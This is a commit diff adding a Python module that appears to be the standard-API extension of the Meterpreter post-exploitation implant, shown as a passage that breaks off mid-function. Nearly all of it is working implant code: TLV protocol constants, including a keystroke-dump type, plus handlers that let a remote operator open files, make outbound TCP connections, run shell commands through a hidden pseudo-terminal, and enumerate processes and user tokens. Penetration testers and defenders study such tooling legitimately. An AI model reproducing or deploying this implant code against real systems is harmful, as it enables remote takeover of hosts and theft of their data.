commit
1ea3d91f48
|
@ -0,0 +1,855 @@
|
||||||
|
import ctypes
|
||||||
|
import fnmatch
|
||||||
|
import getpass
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
import shlex
|
||||||
|
import shutil
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pty
|
||||||
|
has_pty = True
|
||||||
|
except ImportError:
|
||||||
|
has_pty = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pwd
|
||||||
|
has_pwd = True
|
||||||
|
except ImportError:
|
||||||
|
has_pwd = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import termios
|
||||||
|
has_termios = True
|
||||||
|
except ImportError:
|
||||||
|
has_termios = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import _winreg as winreg
|
||||||
|
has_winreg = True
|
||||||
|
except ImportError:
|
||||||
|
has_winreg = False
|
||||||
|
|
||||||
|
class PROCESSENTRY32(ctypes.Structure):
|
||||||
|
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||||
|
("cntUsage", ctypes.c_uint32),
|
||||||
|
("th32ProcessID", ctypes.c_uint32),
|
||||||
|
("th32DefaultHeapID", ctypes.c_void_p),
|
||||||
|
("th32ModuleID", ctypes.c_uint32),
|
||||||
|
("cntThreads", ctypes.c_uint32),
|
||||||
|
("th32ParentProcessID", ctypes.c_uint32),
|
||||||
|
("thPriClassBase", ctypes.c_int32),
|
||||||
|
("dwFlags", ctypes.c_uint32),
|
||||||
|
("szExeFile", (ctypes.c_char * 260))]
|
||||||
|
|
||||||
|
class SYSTEM_INFO(ctypes.Structure):
|
||||||
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||||
|
("wReserved", ctypes.c_uint16),
|
||||||
|
("dwPageSize", ctypes.c_uint32),
|
||||||
|
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||||
|
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||||
|
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||||
|
("dwNumberOfProcessors", ctypes.c_uint32),
|
||||||
|
("dwProcessorType", ctypes.c_uint32),
|
||||||
|
("dwAllocationGranularity", ctypes.c_uint32),
|
||||||
|
("wProcessorLevel", ctypes.c_uint16),
|
||||||
|
("wProcessorRevision", ctypes.c_uint16),]
|
||||||
|
|
||||||
|
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||||
|
_fields_ = [("Sid", ctypes.c_void_p),
|
||||||
|
("Attributes", ctypes.c_uint32),]
|
||||||
|
|
||||||
|
##
|
||||||
|
# STDAPI
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# TLV Meta Types
|
||||||
|
#
|
||||||
|
TLV_META_TYPE_NONE = ( 0 )
|
||||||
|
TLV_META_TYPE_STRING = (1 << 16)
|
||||||
|
TLV_META_TYPE_UINT = (1 << 17)
|
||||||
|
TLV_META_TYPE_RAW = (1 << 18)
|
||||||
|
TLV_META_TYPE_BOOL = (1 << 19)
|
||||||
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||||
|
TLV_META_TYPE_GROUP = (1 << 30)
|
||||||
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||||
|
# not defined in original
|
||||||
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||||
|
|
||||||
|
#
|
||||||
|
# TLV Specific Types
|
||||||
|
#
|
||||||
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||||
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||||
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||||
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||||
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||||
|
|
||||||
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||||
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||||
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||||
|
|
||||||
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||||
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||||
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||||
|
|
||||||
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||||
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||||
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||||
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||||
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||||
|
|
||||||
|
##
|
||||||
|
# General
|
||||||
|
##
|
||||||
|
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
||||||
|
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||||
|
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
||||||
|
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
||||||
|
|
||||||
|
##
|
||||||
|
# Fs
|
||||||
|
##
|
||||||
|
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
||||||
|
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
||||||
|
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
||||||
|
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||||
|
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||||
|
|
||||||
|
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||||
|
|
||||||
|
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
||||||
|
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
||||||
|
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
||||||
|
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
||||||
|
|
||||||
|
##
|
||||||
|
# Net
|
||||||
|
##
|
||||||
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||||
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||||
|
|
||||||
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||||
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||||
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||||
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||||
|
|
||||||
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||||
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||||
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||||
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||||
|
|
||||||
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||||
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||||
|
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
||||||
|
|
||||||
|
# Socket
|
||||||
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||||
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||||
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||||
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||||
|
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
||||||
|
|
||||||
|
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
||||||
|
|
||||||
|
# Registry
|
||||||
|
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
||||||
|
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
||||||
|
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
||||||
|
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
||||||
|
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
||||||
|
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
||||||
|
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
||||||
|
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
||||||
|
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
||||||
|
|
||||||
|
# Config
|
||||||
|
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
||||||
|
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||||
|
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||||
|
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||||
|
|
||||||
|
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
||||||
|
|
||||||
|
# Process
|
||||||
|
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
||||||
|
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
||||||
|
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
||||||
|
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
||||||
|
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
||||||
|
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
||||||
|
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
||||||
|
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
||||||
|
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
||||||
|
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
||||||
|
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
||||||
|
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
||||||
|
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
||||||
|
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
||||||
|
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
||||||
|
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
||||||
|
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
||||||
|
|
||||||
|
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||||
|
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||||
|
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||||
|
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
||||||
|
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
||||||
|
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
||||||
|
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
||||||
|
|
||||||
|
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
||||||
|
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
||||||
|
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
||||||
|
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
||||||
|
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
||||||
|
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
||||||
|
|
||||||
|
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
||||||
|
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
||||||
|
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
||||||
|
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
||||||
|
|
||||||
|
##
|
||||||
|
# Ui
|
||||||
|
##
|
||||||
|
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
||||||
|
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
||||||
|
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
||||||
|
|
||||||
|
##
|
||||||
|
# Event Log
|
||||||
|
##
|
||||||
|
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
||||||
|
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
||||||
|
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
||||||
|
|
||||||
|
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
||||||
|
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
||||||
|
|
||||||
|
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
||||||
|
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
||||||
|
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
||||||
|
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
||||||
|
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
||||||
|
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
||||||
|
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
||||||
|
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
||||||
|
|
||||||
|
##
|
||||||
|
# Power
|
||||||
|
##
|
||||||
|
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
||||||
|
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
||||||
|
|
||||||
|
##
|
||||||
|
# Sys
|
||||||
|
##
|
||||||
|
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
|
||||||
|
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
|
||||||
|
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
|
||||||
|
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
|
||||||
|
|
||||||
|
PROCESS_ARCH_UNKNOWN = 0
|
||||||
|
PROCESS_ARCH_X86 = 1
|
||||||
|
PROCESS_ARCH_X64 = 2
|
||||||
|
PROCESS_ARCH_IA64 = 3
|
||||||
|
|
||||||
|
##
|
||||||
|
# Errors
|
||||||
|
##
|
||||||
|
ERROR_SUCCESS = 0
|
||||||
|
# not defined in original C implementation
|
||||||
|
ERROR_FAILURE = 1
|
||||||
|
|
||||||
|
# Special return value to match up with Windows error codes for network
|
||||||
|
# errors.
|
||||||
|
ERROR_CONNECTION_ERROR = 10000
|
||||||
|
|
||||||
|
def get_stat_buffer(path):
|
||||||
|
si = os.stat(path)
|
||||||
|
rdev = 0
|
||||||
|
if hasattr(si, 'st_rdev'):
|
||||||
|
rdev = si.st_rdev
|
||||||
|
blksize = 0
|
||||||
|
if hasattr(si, 'st_blksize'):
|
||||||
|
blksize = si.st_blksize
|
||||||
|
blocks = 0
|
||||||
|
if hasattr(si, 'st_blocks'):
|
||||||
|
blocks = si.st_blocks
|
||||||
|
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||||
|
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||||
|
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
||||||
|
st_buf += struct.pack('<II', blksize, blocks)
|
||||||
|
return st_buf
|
||||||
|
|
||||||
|
def windll_GetNativeSystemInfo():
|
||||||
|
if not has_windll:
|
||||||
|
return None
|
||||||
|
sysinfo = SYSTEM_INFO()
|
||||||
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||||
|
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def channel_create_stdapi_fs_file(request, response):
|
||||||
|
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||||
|
if fmode:
|
||||||
|
fmode = fmode['value']
|
||||||
|
else:
|
||||||
|
fmode = 'rb'
|
||||||
|
file_h = open(fpath, fmode)
|
||||||
|
channel_id = meterpreter.add_channel(file_h)
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def channel_create_stdapi_net_tcp_client(request, response):
|
||||||
|
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||||
|
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||||
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||||
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
|
||||||
|
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
|
||||||
|
connected = False
|
||||||
|
for i in range(retries + 1):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
if local_host.get('value') and local_port.get('value'):
|
||||||
|
sock.bind((local_host['value'], local_port['value']))
|
||||||
|
try:
|
||||||
|
sock.connect((host, port))
|
||||||
|
connected = True
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
if not connected:
|
||||||
|
return ERROR_CONNECTION_ERROR, response
|
||||||
|
channel_id = meterpreter.add_channel(sock)
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_config_getuid(request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_config_sysinfo(request, response):
|
||||||
|
uname_info = platform.uname()
|
||||||
|
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
|
||||||
|
response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
|
||||||
|
arch = uname_info[4]
|
||||||
|
if has_windll:
|
||||||
|
arch = windll_GetNativeSystemInfo()
|
||||||
|
if arch == PROCESS_ARCH_IA64:
|
||||||
|
arch = 'IA64'
|
||||||
|
elif arch == PROCESS_ARCH_X64:
|
||||||
|
arch = 'x86_64'
|
||||||
|
elif arch == PROCESS_ARCH_X86:
|
||||||
|
arch = 'x86'
|
||||||
|
else:
|
||||||
|
arch = uname_info[4]
|
||||||
|
response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_process_close(request, response):
|
||||||
|
proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
|
||||||
|
if not proc_h_id:
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
proc_h_id = proc_h_id['value']
|
||||||
|
proc_h = meterpreter.channels[proc_h_id]
|
||||||
|
proc_h.kill()
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_process_execute(request, response):
|
||||||
|
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
|
||||||
|
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
|
||||||
|
if raw_args:
|
||||||
|
raw_args = raw_args['value']
|
||||||
|
else:
|
||||||
|
raw_args = ""
|
||||||
|
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
||||||
|
if len(cmd) == 0:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
if os.path.isfile('/bin/sh'):
|
||||||
|
args = ['/bin/sh', '-c', cmd, raw_args]
|
||||||
|
else:
|
||||||
|
args = [cmd]
|
||||||
|
args.extend(shlex.split(raw_args))
|
||||||
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||||
|
if has_pty:
|
||||||
|
master, slave = pty.openpty()
|
||||||
|
if has_termios:
|
||||||
|
settings = termios.tcgetattr(master)
|
||||||
|
settings[3] = settings[3] & ~termios.ECHO
|
||||||
|
termios.tcsetattr(master, termios.TCSADRAIN, settings)
|
||||||
|
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
|
||||||
|
proc_h.stdin = os.fdopen(master, 'wb')
|
||||||
|
proc_h.stdout = os.fdopen(master, 'rb')
|
||||||
|
proc_h.stderr = open(os.devnull, 'rb')
|
||||||
|
else:
|
||||||
|
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
proc_h.start()
|
||||||
|
else:
|
||||||
|
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
proc_h_id = meterpreter.add_process(proc_h)
|
||||||
|
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
||||||
|
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
||||||
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||||
|
channel_id = meterpreter.add_channel(proc_h)
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_sys_process_getpid(request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_PID, os.getpid())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||||
|
for pid in os.listdir('/proc'):
|
||||||
|
pgroup = ''
|
||||||
|
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
||||||
|
continue
|
||||||
|
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
||||||
|
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
||||||
|
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
||||||
|
status_data = filter(lambda x: len(x) == 2, status_data)
|
||||||
|
status = {}
|
||||||
|
for k, v in status_data:
|
||||||
|
status[k[:-1]] = v.strip()
|
||||||
|
ppid = status.get('PPid')
|
||||||
|
uid = status.get('Uid').split('\t', 1)[0]
|
||||||
|
if has_pwd:
|
||||||
|
uid = pwd.getpwuid(int(uid)).pw_name
|
||||||
|
if cmd:
|
||||||
|
pname = os.path.basename(cmd.split(' ', 1)[0])
|
||||||
|
ppath = cmd
|
||||||
|
else:
|
||||||
|
pname = '[' + status['Name'] + ']'
|
||||||
|
ppath = ''
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
||||||
|
if ppid:
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
||||||
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def stdapi_sys_process_get_processes_via_ps(request, response):
|
||||||
|
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
||||||
|
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
ps_output = proc_h.stdout.read()
|
||||||
|
ps_output = ps_output.split('\n')
|
||||||
|
ps_output.pop(0)
|
||||||
|
for process in ps_output:
|
||||||
|
process = process.split()
|
||||||
|
if len(process) < 4:
|
||||||
|
break
|
||||||
|
pgroup = ''
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
|
||||||
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
|
||||||
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def stdapi_sys_process_get_processes_via_windll(request, response):
|
||||||
|
TH32CS_SNAPPROCESS = 2
|
||||||
|
PROCESS_QUERY_INFORMATION = 0x0400
|
||||||
|
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||||
|
PROCESS_VM_READ = 0x10
|
||||||
|
TOKEN_QUERY = 0x0008
|
||||||
|
TokenUser = 1
|
||||||
|
k32 = ctypes.windll.kernel32
|
||||||
|
pe32 = PROCESSENTRY32()
|
||||||
|
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
||||||
|
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||||
|
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
||||||
|
if not result:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
while result:
|
||||||
|
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
||||||
|
if not proc_h:
|
||||||
|
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
||||||
|
exe_path = (ctypes.c_char * 1024)()
|
||||||
|
success = False
|
||||||
|
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
||||||
|
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
||||||
|
elif hasattr(k32, 'GetModuleFileNameExA'):
|
||||||
|
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
||||||
|
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
||||||
|
dw_sz = ctypes.c_uint32()
|
||||||
|
dw_sz.value = ctypes.sizeof(exe_path)
|
||||||
|
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
||||||
|
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
||||||
|
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
||||||
|
if success:
|
||||||
|
exe_path = ctypes.string_at(exe_path)
|
||||||
|
else:
|
||||||
|
exe_path = ''
|
||||||
|
complete_username = ''
|
||||||
|
tkn_h = ctypes.c_long()
|
||||||
|
tkn_len = ctypes.c_uint32()
|
||||||
|
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
|
||||||
|
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
|
||||||
|
buf = (ctypes.c_ubyte * tkn_len.value)()
|
||||||
|
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
|
||||||
|
user_tkn = SID_AND_ATTRIBUTES()
|
||||||
|
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
|
||||||
|
username = (ctypes.c_char * 512)()
|
||||||
|
domain = (ctypes.c_char * 512)()
|
||||||
|
u_len = ctypes.c_uint32()
|
||||||
|
u_len.value = ctypes.sizeof(username)
|
||||||
|
d_len = ctypes.c_uint32()
|
||||||
|
d_len.value = ctypes.sizeof(domain)
|
||||||
|
use = ctypes.c_ulong()
|
||||||
|
use.value = 0
|
||||||
|
